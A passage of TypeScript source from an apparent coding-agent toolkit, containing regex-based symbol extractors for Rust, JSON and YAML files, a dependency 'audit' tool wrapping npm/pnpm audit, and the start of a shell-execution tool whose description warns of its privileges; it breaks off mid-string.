'metadata',\n '--no-deps',\n '--format-version',\n '1',\n '--manifest-path',\n path.join(toolsDir, 'Cargo.toml'),\n ],\n );\n return true;\n } catch {\n return false;\n }\n })();\n return nativeParserAvailability;\n}\n\nasync function tryNativeParse(file: string, content: string): Promise<FileSymbols | null> {\n try {\n const toolsDir = path.join(process.cwd(), 'tools');\n const crateDir = path.join(toolsDir, 'syn-parser');\n\n // Write source to temp file for cargo to read (async \u2014 non-blocking)\n const tmpFile = path.join(crateDir, 'src', 'input.rs');\n await fs.writeFile(tmpFile, content, 'utf8');\n\n // Use spawn for full async control with timeout via Promise.race + setTimeout kill\n // Resolve via PATHEXT on Windows so ENOENT is impossible (cargo is a .cmd wrapper).\n const cargoBinary = resolveWin32Command('cargo');\n\n const result = await new Promise<{ code: number | null; stdout: string }>(\n (resolve, reject) => {\n let settled = false;\n\n const proc: ChildProcessWithoutNullStreams = spawn(\n cargoBinary,\n ['run', '--manifest-path', path.join(toolsDir, 'Cargo.toml')],\n {\n cwd: process.cwd(),\n stdio: ['pipe', 'pipe', 'pipe'],\n windowsHide: true,\n },\n );\n\n proc.on('error', (err) => {\n if (settled) return;\n settled = true;\n reject(err);\n });\n\n let stdout = '';\n proc.stdout?.on('data', (chunk: Buffer) => { stdout += chunk.toString(); });\n proc.stderr?.resume();\n\n const timer = setTimeout(() => {\n if (settled) return;\n settled = true;\n proc.kill('SIGKILL');\n reject(new Error('timeout'));\n }, 15_000);\n timer.unref?.();\n\n proc.on('close', (c: number | null) => {\n if (settled) return;\n settled = true;\n clearTimeout(timer);\n resolve({ code: c, stdout });\n });\n },\n );\n\n const { code, stdout } = result;\n\n if (code === 0 && stdout.trim()) {\n const symbols: IndexSymbol[] = JSON.parse(stdout.trim());\n return {\n file,\n lang: 'rs',\n symbols: symbols.map((s) => ({ ...s, id: 0, lang: 'rs' as SymbolLang })),\n mtimeMs: Date.now(),\n };\n }\n } catch {\n // Fall through to regex\n }\n return null;\n}\n\n// \u2500\u2500\u2500 Regex fallback parser \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ninterface RustPattern {\n regex: RegExp;\n kind: IndexSymbol['kind'];\n}\n\nconst RS_PATTERNS: RustPattern[] = [\n { regex: /fn\\s+(\\w+)\\s*\\([^)]*\\)/g, kind: 'function' },\n { regex: /struct\\s+(\\w+)/g, kind: 'struct' },\n { regex: /enum\\s+(\\w+)/g, kind: 'enum' },\n { regex: /trait\\s+(\\w+)/g, kind: 'trait' },\n { regex: /impl\\s+(?:<[^>]+>)?(\\w+)/g, kind: 'impl' },\n { regex: /type\\s+(\\w+)\\s*=/g, kind: 'type' },\n { regex: /const\\s+(\\w+)/g, kind: 'const' },\n { regex: /static\\s+(\\w+)/g, kind: 'static' },\n { regex: /mod\\s+(\\w+)/g, kind: 'mod' },\n];\n\nfunction regexParse(opts: { file: string; content: string; lang: SymbolLang }): FileSymbols {\n const { file, content, lang } = opts;\n const symbols: IndexSymbol[] = [];\n const lines = content.split('\\n');\n\n // Build line offset map\n const lineOffsets: number[] = [0];\n for (let i = 0; i < lines.length; i++) {\n lineOffsets.push((lineOffsets[i] ?? 0) + (lines[i]?.length ?? 0) + 1);\n }\n\n function lineFromOffset(offset: number): number {\n let lo = 0;\n let hi = lineOffsets.length - 1;\n while (lo < hi) {\n const mid = (lo + hi + 1) >>> 1;\n if (expectDefined(lineOffsets[mid]) <= offset) lo = mid;\n else hi = mid - 1;\n }\n return lo + 1; // 1-based\n }\n\n function extractDeclaration(lineIdx: number, _match: RegExpExecArray): string {\n const line = lines[lineIdx] ?? '';\n return line.trim().slice(0, 500);\n }\n\n for (const pattern of RS_PATTERNS) {\n pattern.regex.lastIndex = 0;\n for (\n let match = pattern.regex.exec(content);\n match !== null;\n match = pattern.regex.exec(content)\n ) {\n const name = expectDefined(match[1]);\n const offset = (match.index ?? 0);\n const line = lineFromOffset(offset);\n const col = offset - (lineOffsets[line - 1] ?? 0);\n const lineIdx = line - 1;\n const signature = extractDeclaration(lineIdx, match);\n\n symbols.push({\n id: 0,\n lang,\n kind: pattern.kind,\n name,\n file,\n line,\n col,\n signature,\n docComment: '',\n scope: '',\n text: `${name} ${signature}`.trim(),\n });\n }\n }\n\n // Deduplicate by name+line\n const seen = new Set<string>();\n const deduped = symbols.filter((s) => {\n const key = `${s.name}:${s.line}`;\n if (seen.has(key)) return false;\n seen.add(key);\n return true;\n });\n\n return { file, lang, symbols: deduped, mtimeMs: Date.now() };\n}\n", "import { expectDefined } from '@wrongstack/core/utils';\n/**\n * JSON file symbol extraction.\n *\n * Extracts top-level keys as \"symbols\" with kind `property`.\n * Special handling for:\n * - package.json: scripts, dependencies, devDependencies \u2192 `const`\n * - tsconfig.json: compilerOptions keys \u2192 `property`\n * - JSON Schema / OpenAPI: $schema, $id, $ref \u2192 `schema`\n * - Root object itself \u2192 kind `object`\n *\n * Uses regex-based extraction for speed and zero dependencies.\n */\n\nimport * as path from 'node:path';\nimport type { FileSymbols, Symbol as IndexSymbol, SymbolLang } from './schema.js';\n// \u2500\u2500\u2500 Public API \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nexport function parseSymbols(opts: {\n file: string;\n content: string;\n lang: SymbolLang;\n}): FileSymbols {\n const { file, content, lang } = opts;\n\n try {\n return regexParse({ file, content, lang });\n } catch {\n /* v8 ignore next -- regexParse is pure regex/string work; the catch is a defensive fallback. */\n return { file, lang, symbols: [], mtimeMs: Date.now() };\n }\n}\n\nexport { detectLang } from './languages.js';\n\n// \u2500\u2500\u2500 Regex parser \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n\n/**\n * Extract key-value pairs from JSON content using regex.\n * Handles: \"key\": value, arrays with keyed objects, nested objects (depth \u2264 3).\n */\nfunction regexParse(opts: { file: string; content: string; lang: SymbolLang }): FileSymbols {\n const { file, content, lang } = opts;\n const symbols: IndexSymbol[] = [];\n const basename = path.basename(file).toLowerCase();\n\n const isPackageJson = basename === 'package.json';\n const isTsconfig = basename === 'tsconfig.json' || basename === 'tsconfig.build.json';\n const isJsonSchema =\n content.includes('$schema') || content.includes('$id') || content.includes('$ref');\n const isOpenApi = content.includes('openapi') || content.includes('swagger');\n\n const lines = content.split('\\n');\n\n // Build line offset map\n const lineOffsets: number[] = [0];\n for (let i = 0; i < lines.length; i++) {\n lineOffsets.push((lineOffsets[i] ?? 0) + (lines[i]?.length ?? 0) + 1);\n }\n\n function lineFromOffset(offset: number): number {\n let lo = 0;\n let hi = lineOffsets.length - 1;\n while (lo < hi) {\n const mid = (lo + hi + 1) >>> 1;\n if (expectDefined(lineOffsets[mid]) <= offset) lo = mid;\n else hi = mid - 1;\n }\n return lo + 1;\n }\n\n // Root object symbol\n const rootMatch = content.match(/^\\s*\\{/m);\n if (rootMatch) {\n const offset = expectDefined(rootMatch.index);\n const line = lineFromOffset(offset);\n symbols.push(\n makeSymbol({\n name: path.basename(file),\n kind: 'object',\n line,\n col: 0,\n signature: `\"${path.basename(file)}\" = { ... }`,\n file,\n lang,\n }),\n );\n }\n\n // Extract top-level keys\n const topLevelKeyRegex = /^\\s*\"([^\"]+)\"\\s*:/gm;\n for (\n let match = topLevelKeyRegex.exec(content);\n match !== null;\n match = topLevelKeyRegex.exec(content)\n ) {\n const key = expectDefined(match[1]);\n const offset = (match.index ?? 0);\n const line = lineFromOffset(offset);\n const col = offset - (lineOffsets[line - 1] ?? 0);\n\n let kind: IndexSymbol['kind'] = 'property';\n let signature = `\"${key}\": ...\"`;\n\n // Special casing for known file types\n if (isPackageJson) {\n if (\n key === 'scripts' ||\n key === 'dependencies' ||\n key === 'devDependencies' ||\n key === 'peerDependencies' ||\n key === 'optionalDependencies'\n ) {\n kind = 'const';\n signature = `\"${key}\": { ... }`;\n }\n } else if (isTsconfig) {\n if (key === 'compilerOptions') {\n kind = 'property';\n signature = `\"compilerOptions\": { ... }`;\n }\n }\n\n // JSON Schema / OpenAPI special keys\n if (isJsonSchema || isOpenApi) {\n if (key === '$schema' || key === '$id') {\n kind = 'schema';\n signature = `\"${key}\": \"...\"`;\n } else if (key === '$ref') {\n kind = 'schema';\n signature = `\"$ref\": \"...\"`;\n }\n }\n\n symbols.push(\n makeSymbol({\n name: key,\n kind,\n line,\n col,\n signature,\n file,\n lang,\n }),\n );\n\n // For package.json, also extract individual scripts as 'function'\n if (isPackageJson && key === 'scripts') {\n extractPackageScripts(content, symbols, file, lang, lineOffsets, lineFromOffset);\n }\n\n // For tsconfig.json compilerOptions, extract nested keys\n if (isTsconfig && key === 'compilerOptions') {\n extractCompilerOptions(content, symbols, file, lang, lineOffsets, line, lineFromOffset);\n }\n }\n\n // Extract JSON Schema $defs or definitions\n const defsRegex = /\"\\$defs\"\\s*:|\"\\$defs\"\\s*:/g;\n const defsMatch = defsRegex.exec(content);\n if (defsMatch !== null) {\n const offset = expectDefined(defsMatch.index);\n const line = lineFromOffset(offset);\n symbols.push(\n makeSymbol({\n name: '$defs',\n kind: 'property',\n line,\n col: offset - (lineOffsets[line - 1] ?? 0),\n signature: '\"$defs\": { ... }',\n file,\n lang,\n }),\n );\n }\n\n // Extract definitions (OpenAPI components, JSON Schema definitions)\n const defsPatterns = [\n /\"\\$defs\"\\s*:/g,\n /\"definitions\"\\s*:/g,\n /\"components\"\\s*:/g,\n /\"schemas\"\\s*:/g,\n ];\n for (const pat of defsPatterns) {\n pat.lastIndex = 0;\n for (let match = pat.exec(content); match !== null; match = pat.exec(content)) {\n const offset = (match.index ?? 0);\n const line = lineFromOffset(offset);\n const key = match[0]?.match(/\"([^\"]+)\"/)?.[1] ?? expectDefined(match[0]);\n symbols.push(\n makeSymbol({\n name: key,\n kind: 'property',\n line,\n col: offset - (lineOffsets[line - 1] ?? 0),\n signature: `\"${key}\": { ... }`,\n file,\n lang,\n }),\n );\n }\n }\n\n return { file, lang, symbols, mtimeMs: Date.now() };\n}\n\nfunction extractPackageScripts(\n content: string,\n symbols: IndexSymbol[],\n file: string,\n lang: SymbolLang,\n lineOffsets: number[],\n lineFromOffset: (offset: number) => number,\n): void {\n // Find the \"scripts\": { ... } block and extract each script key\n const scriptsBlockRegex = /\"scripts\"\\s*:\\s*\\{([^}]+)\\}/g;\n for (\n let match = scriptsBlockRegex.exec(content);\n match !== null;\n match = scriptsBlockRegex.exec(content)\n ) {\n const blockContent = expectDefined(match[0]);\n const blockOffset = (match.index ?? 0);\n\n // Extract each \"key\" inside the block (simple approach)\n const scriptKeyRegex = /\"(\\w[\\w-]*)\"\\s*:/g;\n for (\n let scriptMatch = scriptKeyRegex.exec(blockContent);\n scriptMatch !== null;\n scriptMatch = scriptKeyRegex.exec(blockContent)\n ) {\n const key = expectDefined(scriptMatch[1]);\n const keyOffset = blockOffset + expectDefined(scriptMatch.index);\n const line = lineFromOffset(keyOffset);\n symbols.push(\n makeSymbol({\n name: key,\n kind: 'function',\n line,\n col: keyOffset - (lineOffsets[line - 1] ?? 0),\n signature: `\"${key}\": \"...\"`,\n file,\n lang,\n }),\n );\n }\n }\n}\n\nfunction extractCompilerOptions(\n content: string,\n symbols: IndexSymbol[],\n file: string,\n lang: SymbolLang,\n lineOffsets: number[],\n parentLine: number,\n lineFromOffset: (offset: number) => number,\n): void {\n // Find the \"compilerOptions\": { ... } block\n const optsBlockRegex = /\"compilerOptions\"\\s*:\\s*\\{([^}]+)\\}/g;\n for (\n let match = optsBlockRegex.exec(content);\n match !== null;\n match = optsBlockRegex.exec(content)\n ) {\n const blockContent = expectDefined(match[0]);\n const blockOffset = (match.index ?? 0);\n\n // Extract nested key inside compilerOptions (up to depth 1)\n const optKeyRegex = /\"(\\w[\\w]*)\"\\s*:/g;\n for (\n let optMatch = optKeyRegex.exec(blockContent);\n optMatch !== null;\n optMatch = optKeyRegex.exec(blockContent)\n ) {\n const key = expectDefined(optMatch[1]);\n const keyOffset = blockOffset + expectDefined(optMatch.index);\n const line = lineFromOffset(keyOffset);\n if (line <= parentLine) continue; // Skip top-level (already captured)\n symbols.push(\n makeSymbol({\n name: key,\n kind: 'property',\n line,\n col: keyOffset - (lineOffsets[line - 1] ?? 0),\n signature: `\"${key}\": ...`,\n file,\n lang,\n }),\n );\n }\n }\n}\n\nfunction makeSymbol(opts: {\n name: string;\n kind: IndexSymbol['kind'];\n line: number;\n col: number;\n signature: string;\n file: string;\n lang: SymbolLang;\n}): IndexSymbol {\n return {\n id: 0,\n lang: opts.lang,\n kind: opts.kind,\n name: opts.name,\n file: opts.file,\n line: opts.line,\n col: opts.col,\n signature: opts.signature,\n docComment: '',\n scope: '',\n text: `${opts.name} ${opts.signature}`.trim(),\n };\n}\n", "import { expectDefined, truncate } from '@wrongstack/core/utils';\nimport type { FileSymbols, Symbol as IndexSymbol, SymbolLang } from './schema.js';\n// \u2500\u2500\u2500 Public API \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nexport function parseSymbols(opts: {\n file: string;\n content: string;\n lang: SymbolLang;\n}): FileSymbols {\n const { file, content, lang } = opts;\n\n try {\n return regexParse({ file, content, lang });\n } catch {\n /* v8 ignore next -- regexParse is pure regex/string work; the catch is a defensive fallback. */\n return { file, lang, symbols: [], mtimeMs: Date.now() };\n }\n}\n\nexport { detectLang } from './languages.js';\n\n// \u2500\u2500\u2500 Regex parser \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction regexParse(opts: { file: string; content: string; lang: SymbolLang }): FileSymbols {\n const { file, content, lang } = opts;\n const symbols: IndexSymbol[] = [];\n\n const lines = content.split('\\n');\n\n // Build line offset map for accurate line/col\n const lineOffsets: number[] = [0];\n for (let i = 0; i < lines.length; i++) {\n lineOffsets.push((lineOffsets[i] ?? 0) + (lines[i]?.length ?? 0) + 1);\n }\n\n function lineFromOffset(offset: number): number {\n let lo = 0;\n let hi = lineOffsets.length - 1;\n while (lo < hi) {\n const mid = (lo + hi + 1) >>> 1;\n if (expectDefined(lineOffsets[mid]) <= offset) lo = mid;\n else hi = mid - 1;\n }\n return lo + 1;\n }\n\n // \u2500\u2500 1. Anchors and aliases \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // &anchor_name\n const anchorRegex = /&(\\w[\\w-]*)/g;\n for (let match = anchorRegex.exec(content); match !== null; match = anchorRegex.exec(content)) {\n const name = expectDefined(match[1]);\n const offset = (match.index ?? 0);\n const line = lineFromOffset(offset);\n const col = offset - (lineOffsets[line - 1] ?? 0);\n symbols.push(\n makeSymbol({\n name,\n kind: 'const',\n line,\n col,\n signature: `&${name}`,\n file,\n lang,\n }),\n );\n }\n\n // *alias_name\n const aliasRegex = /\\*(\\w[\\w-]*)/g;\n for (let match = aliasRegex.exec(content); match !== null; match = aliasRegex.exec(content)) {\n const name = expectDefined(match[1]);\n const offset = (match.index ?? 0);\n const line = lineFromOffset(offset);\n const col = offset - (lineOffsets[line - 1] ?? 0);\n symbols.push(\n makeSymbol({\n name,\n kind: 'const',\n line,\n col,\n signature: `*${name}`,\n file,\n lang,\n }),\n );\n }\n\n // \u2500\u2500 2. Top-level and nested key: value pairs \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // Matches `key: value` (but not block scalars or document markers)\n // Uses negative lookbehind and context to avoid false positives\n const kvRegex = /^(\\s*)([^:#\\s][^:#\\s]*)\\s*:/gm;\n for (let match = kvRegex.exec(content); match !== null; match = kvRegex.exec(content)) {\n const indent = match[1]?.length ?? 0;\n const key = match[2];\n /* v8 ignore next -- the capture group always matches \u22651 char, so key is never empty; defensive. */\n if (!key) continue;\n const offset = (match.index ?? 0);\n const line = lineFromOffset(offset);\n const col = offset - (lineOffsets[line - 1] ?? 0);\n\n // Skip block scalar indicators (| or > at column 0 with key name before :)\n const lineContent = lines[line - 1] ?? '';\n if (/^[|&>]/.test(lineContent.trim())) continue;\n // Skip YAML document markers\n if (key === '---' || key === '...') continue;\n // Skip keys that are clearly part of a string value (unusual indent)\n if (indent > 12) continue;\n\n const value = extractValue(content, (match.index ?? 0));\n const kind: IndexSymbol['kind'] = isScalar(value) ? 'literal' : 'property';\n const signature = `${key}: ${truncate(value, 60)}`;\n\n symbols.push(makeSymbol({ name: key, kind, line, col, signature, file, lang }));\n }\n\n // \u2500\u2500 3. List item keys \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n // `- key: value` (list item that is a keyed object)\n const listItemRegex = /^-(\\s+)([^:#\\s][^:#\\s]*)\\s*:/gm;\n for (let match = listItemRegex.exec(content); match !== null; match = listItemRegex.exec(content)) {\n const key = expectDefined(match[2]);\n const offset = (match.index ?? 0);\n const line = lineFromOffset(offset);\n const col = offset - (lineOffsets[line - 1] ?? 0);\n const value = extractValue(content, offset + match[0]?.length);\n const kind: IndexSymbol['kind'] = isScalar(value) ? 'literal' : 'property';\n symbols.push(\n makeSymbol({\n name: key,\n kind,\n line,\n col,\n signature: `- ${key}: ${truncate(value, 60)}`,\n file,\n lang,\n }),\n );\n }\n\n // \u2500\u2500 4. Block scalar keys (key: | or key: >) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n const blockScalarRegex = /^(\\s*)([^:#\\s][^:#\\s]*)\\s*:\\s*[|>](\\s|$)/gm;\n for (let match = blockScalarRegex.exec(content); match !== null; match = blockScalarRegex.exec(content)) {\n const key = expectDefined(match[2]);\n const offset = (match.index ?? 0);\n const line = lineFromOffset(offset);\n const col = offset - (lineOffsets[line - 1] ?? 0);\n symbols.push(\n makeSymbol({\n name: key,\n kind: 'property',\n line,\n col,\n signature: `${key}: | ...`,\n file,\n lang,\n }),\n );\n }\n\n return { file, lang, symbols, mtimeMs: Date.now() };\n}\n\n// \u2500\u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nfunction extractValue(content: string, afterColonOffset: number): string {\n // Get the rest of the line after the colon\n const lineEnd = content.indexOf('\\n', afterColonOffset);\n const rest = content.slice(afterColonOffset, lineEnd < 0 ? undefined : lineEnd);\n return rest.trim();\n}\n\nfunction isScalar(value: string): boolean {\n if (!value) return false;\n // Numbers, booleans, null, quoted strings\n if (/^-?\\d+(\\.\\d+)?([eE][+-]?\\d+)?$/.test(value)) return true;\n if (/^(true|false|null|undefined)$/i.test(value)) return true;\n if (/^'[^']*'$/.test(value) || /^\"[^\"]*\"$/.test(value)) return true;\n return false;\n}\n\nfunction makeSymbol(opts: {\n name: string;\n kind: IndexSymbol['kind'];\n line: number;\n col: number;\n signature: string;\n file: string;\n lang: SymbolLang;\n}): IndexSymbol {\n return {\n id: 0,\n lang: opts.lang,\n kind: opts.kind,\n name: opts.name,\n file: opts.file,\n line: opts.line,\n col: opts.col,\n signature: opts.signature,\n docComment: '',\n scope: '',\n text: `${opts.name} ${opts.signature}`.trim(),\n };\n}\n", "import type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { spawnStream } from './_spawn-stream.js';\nimport { detectPackageManager, safeResolve } from './_util.js';\nimport { tryLegacyPackageOperation } from './languages/legacy-bridge.js';\n\ninterface AuditInput {\n cwd?: string | undefined;\n level?: 'low' | 'moderate' | 'high' | 'critical' | undefined;\n fix?: boolean | undefined;\n packages?: string | string[] | undefined;\n}\n\ninterface AuditVulnerability {\n severity: string;\n package: string;\n title: string;\n url: string;\n}\n\ninterface AuditOutput {\n exit_code: number;\n vulnerabilities: AuditVulnerability[];\n total: number;\n summary: string;\n output: string;\n truncated: boolean;\n}\n\nexport const auditTool: Tool<AuditInput, AuditOutput> = {\n name: 'audit',\n category: 'Package Management',\n description:\n 'Run a security audit against project dependencies (using pnpm/npm audit). Reports known vulnerabilities with severity.',\n usageHint:\n 'CRITICAL SECURITY TOOL:\\n\\n' +\n '- Run regularly and especially before any release.\\n' +\n '- Use `level` to focus on high/critical issues.\\n' +\n '- `fix` can attempt automatic remediation for some vulnerabilities.\\n' +\n 'This is one of the most important tools for supply chain security.',\n permission: 'confirm',\n mutating: false,\n capabilities: ['shell.restricted'],\n icon: 'package',\n timeoutMs: 60_000,\n inputSchema: {\n type: 'object',\n properties: {\n cwd: { type: 'string', description: 'Working directory (default: cwd)' },\n level: {\n type: 'string',\n enum: ['low', 'moderate', 'high', 'critical'],\n description: 'Minimum severity level to report',\n },\n fix: { type: 'boolean', description: 'Attempt to fix vulnerabilities (default: false)' },\n packages: { type: 'string', description: 'Specific package(s) to audit (comma-separated)' },\n },\n },\n async execute(input, ctx, opts) {\n let final: AuditOutput | undefined;\n const executeStream = auditTool.executeStream;\n if (!executeStream) throw new Error('auditTool: stream execution unavailable');\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) throw new Error('audit: stream ended without final event');\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<AuditOutput>> {\n const cwd = input.cwd ? safeResolve(input.cwd, ctx) : ctx.cwd;\n\n // Delegate to the language planner for non-JS ecosystems (Go, Rust, PHP, C#).\n const bridge = await tryLegacyPackageOperation('package-audit', {\n cwd,\n projectRoot: ctx.projectRoot,\n signal: opts.signal,\n });\n if (bridge?.outcome) {\n const outcome = bridge.outcome;\n const vulns = outcome.vulnerabilities.map((v) => ({\n severity: v.severity,\n package: v.package,\n title: v.advisory ?? 'Unknown vulnerability',\n url: v.url ?? '',\n }));\n const total = vulns.length;\n const summary =\n total === 0\n ? 'No vulnerabilities found'\n : `Found ${total} vulnerabilities: ${vulns.filter((a) => a.severity === 'critical').length} critical, ${vulns.filter((a) => a.severity === 'high').length} high`;\n yield {\n type: 'final',\n output: {\n exit_code: outcome.run?.exitCode ?? 0,\n vulnerabilities: vulns,\n total,\n summary,\n output: outcome.run?.output ?? '',\n truncated: outcome.run?.truncated ?? false,\n },\n };\n return;\n }\n\n const manager = await detectPackageManager(cwd);\n yield { type: 'log', text: `Auditing with ${manager}\u2026`, data: { manager } };\n\n const args = ['audit', '--json'];\n if (input.fix) args.push('--fix');\n if (input.packages) {\n const pkgs = Array.isArray(input.packages) ? input.packages : input.packages.split(',');\n args.push(...pkgs.map((p: string) => p.trim()));\n }\n\n const result = yield* spawnStream({\n cmd: manager,\n args,\n cwd,\n signal: opts.signal,\n maxBytes: 100_000,\n });\n\n yield { type: 'final', output: parseAuditOutput(result.stdout, result.exitCode) };\n },\n};\n\nfunction parseAuditOutput(json: string, exitCode: number): AuditOutput {\n if (!json) {\n return {\n exit_code: exitCode,\n vulnerabilities: [],\n total: 0,\n summary: exitCode === 0 ? 'No vulnerabilities found' : 'Audit failed',\n output: '',\n truncated: false,\n };\n }\n\n try {\n const data = JSON.parse(json);\n const advisories: AuditVulnerability[] = [];\n const ads = data.advisories ?? {};\n for (const id of Object.keys(ads)) {\n const adv = ads[id];\n advisories.push({\n severity: adv.severity ?? 'unknown',\n package: adv.module_name ?? id,\n title: adv.title ?? 'Unknown vulnerability',\n url: adv.url ?? '',\n });\n }\n\n const total = advisories.length;\n const summary =\n total === 0\n ? 'No vulnerabilities found'\n : `Found ${total} vulnerabilities: ${advisories.filter((a) => a.severity === 'critical').length} critical, ${advisories.filter((a) => a.severity === 'high').length} high`;\n\n return {\n exit_code: exitCode,\n vulnerabilities: advisories,\n total,\n summary,\n output: json,\n truncated: json.length > 100_000,\n };\n } catch {\n return {\n exit_code: exitCode,\n vulnerabilities: [],\n total: 0,\n summary: 'Could not parse audit output',\n output: json,\n truncated: false,\n };\n }\n}\n", "import { spawn } from 'node:child_process';\nimport * as os from 'node:os';\nimport {\n emitProcessCompleted,\n emitProcessOutput,\n emitProcessStarted,\n} from '@wrongstack/core/observability';\nimport type { Context } from '@wrongstack/core/agent';\nimport type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { buildChildEnv } from './_env.js';\nimport { createOutputSpool, spoolNote } from './_output-spool.js';\nimport { normalizeCommandOutput } from './_util.js';\nimport { getProcessRegistry, redactCommand } from './process-registry.js';\nimport { checkAndBlockKillCommand } from './bash-kill-guard.js';\nimport { pickShell, shellArgs, type BashShell, wrapPowerShellScript, diagnoseBashism } from './_shell-pick.js';\nimport { resolvePowerShell } from './_win32-resolve.js';\n\ninterface BashInput {\n command: string;\n timeout_ms?: number | undefined;\n background?: boolean | undefined;\n}\n\ninterface BashOutput {\n output: string;\n exit_code: number | null;\n timed_out: boolean;\n pid?: number | null | undefined;\n error?: string | undefined;\n}\n\nconst MAX_OUTPUT = 32_768;\n// 32 KB \u2014 keeps context manageable for arbitrary commands. bash output\n// is typically unbounded LLM tool-use context; larger caps risk pushing\n// the context window to compaction on every invocation.\n\n// 5 minutes \u2014 generous enough for most real-world commands (npm install,\n// docker build, etc.) without letting a hung process consume the session.\n// The per-call timeout_ms parameter still allows precise overrides.\n// The circuit breaker's slow-call threshold (180s) sits below this so\n// commands that run >3min still count as \"slow\" and can trip the breaker\n// after 3 occurrences.\nconst DEFAULT_TIMEOUT_MS = 300_000;\n\n// Flush partial_output every 200ms or when 4 KiB accumulates \u2014 whichever\n// comes first. Smaller batches make the TUI feel responsive; larger ones\n// keep EventBus traffic reasonable on chatty processes.\nconst STREAM_FLUSH_INTERVAL_MS = 200;\nconst STREAM_FLUSH_BYTES = 4 * 1024;\n\n// Maximum chunks buffered between the child's data handlers and the\n// streaming consumer before the pipes are paused (backpressure). Without\n// this, a consumer that stalls \u2014 or a generator that was torn down while a\n// (grand)child keeps writing \u2014 lets `queue`/`pending` grow without bound\n// and can OOM the host process.\nconst MAX_QUEUE_CHUNKS = 500;\n\nexport const bashTool: Tool<BashInput, BashOutput> = {\n name: 'bash',\n category: 'Shell',\n description:\n 'Execute an arbitrary command in the user\\'s default shell (bash/zsh/pwsh/cmd). ' +\n 'stdout and stderr are merged into one stream. This is the most powerful and dangerous tool \u2014 ' +\n 'it gives the model full access to the developer\\'s machine. Prefer specialized tools whenever possible.',\n usageHint:\n 'SECURITY WARNING: This tool runs with the full privileges of the current user.\\n\\n' +\n 'Best practices for the model:\\n' +\n '- Strongly prefer `exec` for known safe commands (node, npm, pnpm, tsc, git, etc.).\\n' +\n '- Use bash only when you genuinely need shell features (pipes, redirection, complex one-liners).\\n' +\n '- Prefer single focused commands over huge `&&` chains.\\n' +\n '- Use `background: true` only for long-running processes (dev servers, watchers).\\n' +\n '- The working directory is the project root.\\n' +\n '- Output may be 